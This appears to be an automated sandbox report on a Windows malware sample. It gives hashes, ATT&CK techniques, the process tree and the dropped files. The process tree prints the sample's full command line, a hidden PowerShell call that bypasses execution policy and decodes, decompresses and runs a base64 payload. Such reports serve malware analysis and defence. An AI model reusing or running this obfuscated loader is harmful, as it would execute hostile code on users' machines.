fcbe422cd0a036961659aabe2af0d909f07c3dcda9bffa3b8ccb54482614ab06

General

Target

3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe
Size

126KB
MD5

3ac5e263fa5670a50c4ad7060afc7e8f
SHA1

7d00b96206ff3f1636812d016d504d43cea1a808
SHA256

fcbe422cd0a036961659aabe2af0d909f07c3dcda9bffa3b8ccb54482614ab06
SHA512

a773e6326dbbee1d37a1279ad0a5d12aee8259023378cbde18879ca66cc83acf20cfccd389ecdbe005793560a6f0ea8d8a05dda2dc32b03de8923c5c6060100d
SSDEEP

3072:o/25jvDSgsqsb5Uh28vAbTV1WW69B9VjMdxPedN9ug0z9TBfFSFMHM:Dtzsb5Uh28+V1WW69B9VjMdxPedN9ug5

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
17	800	powershell.exe
36	800	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
800	powershell.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
800	powershell.exe
800	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	800	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 4528	2664	3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe	84
PID 2664 wrote to memory of 4528	2664	3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe	84
PID 4528 wrote to memory of 800	4528	cmd.exe	85
PID 4528 wrote to memory of 800	4528	cmd.exe	85
PID 4528 wrote to memory of 800	4528	cmd.exe	85

C:\Users\Admin\AppData\Local\Temp\3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\C1F8.tmp\C1F9.tmp\C1FA.bat C:\Users\Admin\AppData\Local\Temp\3ac5e263fa5670a50c4ad7060afc7e8f_JaffaCakes118.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4528
- - C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe
    C:\Windows\syswow64\windowspowershell\v1.0\powershell.exe -NoP -Window Hidden -Exec Bypass -Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\"zVZNb9s4EL3rVxCGgEi1JFC2YrgxDDRpNt1gt25Qu92D4IMijW1uaFIgqcRK1v+9o1j+kJMtgh4WCx0ok29mnmbeDG2nZEg+tKz4kvPrZS6VcVp3oATwbifIOG+5U5IXt5ylRJvE4AIrg+fkWpgbo8h3pkyR8HPOZerUew8eKZgwZFWvZb0+uoNfjvNRQWJgssAl28Ypar/3HtlHrt8OYtc7VfTWByu+KA3E06k9mtxMVCL0kpmhF76L+oPDrZhOh3QVXgx2eA2pFNmxSXN3Z2ULeZ6moPXQniVcw2Ciyid7LNM7MMMRPPhfbv+G1JARmGCzq+vViQ/3zrNMoZerZMl4OT07w28BhYAHqe68+KX1pMwBYZdzlSyb5zdKGplKXiO+Zbk7qAkFH6UQyMY5KXSQS8kDYfJAqvmJF3a67iD+Llk23YLHIDLnMFXHgK+QAruHJmadJiZdPB3kxagC1gNbFWIiTcKHdHAl1W9JunDsa5HBijBBGhWJaBBE3an7tLfZvb3rnPbaGzv0OWNKmwlbwtA5yPVlJSDcdML3lHohPvT5ibcHfzCRVakxqetWmf/MOGebAmsn/oa570VTZx8zpJQicvyMGIxNoow/5gA58TXp0U3NkUCVl/9R0WtGb6z6Fr0pe1PuL0C70h/j9kG51OD8qhyOuu2tirDYjDj/nRSIT/YSJP4cUAzEl4rsPtclT5ap1KFx+h7wGpfawDJ4WWLixK+c/VQo5DWLhmDGBqfp8nXgkXImae5att5rJnzfCcJePwijKAi73ROP9GmfuuQfIgvji4LzAbFz/Lr4XKmkIreZ4NcCx7tIwWnd4lxteSRyEbhCIHrfySc/cvSI59Syyzf4iy+YQZb3oDAXFXOJWel20KdH3fZpFa3EMV05XF1cWQ8LxoE4GMHn5ufGWLSKSbtJtfTsx/YpKujf033Fk7lGbyMpwCVra4ZScGw2DJELw7hAouqt3cYISM5mFbutuyNGn8BUFxKKEG83vJSC3xORcXDRyg+na8s2aIu68KvCEX8Jy1tQlzBjghkmsYVS4o8SlGXrLya6nRbxBf7SeZICed65KkRaITXx80Rrs1BFVSBs0LOzxmVPPbsM/gQxNwuPrrrYALhE1LW2zL8WwmADBM+qlPkY1D1D8QefE6UXCa9KKPOyyiChWLfNNY1NtQq2aXddj+yCoP7Mtur1/4CqZe3VpnebimkM47or+72I0nrwrNfWDw==\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:800

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\C1F8.tmp\C1F9.tmp\C1FA.bat

Filesize
4KB

MD5
91f2bf2519a03ae2b1fb8ed1dcd7fe6c

SHA1
71958fbbdd32ebe90a813de7a80d238b0956df24

SHA256
245358e6950654bdaee53f96394007596841084bd7838c83342d69accd46850c

SHA512
26e3ecef9ef421e5b9e0b7057d3e73087db0eb5a52dacb36f883f3f89cf931a15a418325438bc20b87885380d4d9bb49a34a4d8a4f8c01ddf98c2a0a0263944d

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ak0v5kxt.rjo.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/800-9-0x0000000005570000-0x00000000055D6000-memory.dmp

Filesize
408KB

Download
memory/800-2-0x000000007532E000-0x000000007532F000-memory.dmp

Filesize
4KB

Download
memory/800-4-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download
memory/800-6-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download
memory/800-7-0x0000000004D20000-0x0000000004D42000-memory.dmp

Filesize
136KB

Download
memory/800-8-0x0000000005500000-0x0000000005566000-memory.dmp

Filesize
408KB

Download
memory/800-3-0x0000000002700000-0x0000000002736000-memory.dmp

Filesize
216KB

Download
memory/800-5-0x0000000004ED0000-0x00000000054F8000-memory.dmp

Filesize
6.2MB

Download
memory/800-19-0x00000000056A0000-0x00000000059F4000-memory.dmp

Filesize
3.3MB

Download
memory/800-20-0x0000000005D00000-0x0000000005D1E000-memory.dmp

Filesize
120KB

Download
memory/800-21-0x0000000005D20000-0x0000000005D6C000-memory.dmp

Filesize
304KB

Download
memory/800-22-0x0000000007430000-0x0000000007AAA000-memory.dmp

Filesize
6.5MB

Download
memory/800-23-0x0000000006210000-0x000000000622A000-memory.dmp

Filesize
104KB

Download
memory/800-24-0x000000007532E000-0x000000007532F000-memory.dmp

Filesize
4KB

Download
memory/800-25-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download
memory/800-29-0x0000000075320000-0x0000000075AD0000-memory.dmp

Filesize
7.7MB

Download

Analysis

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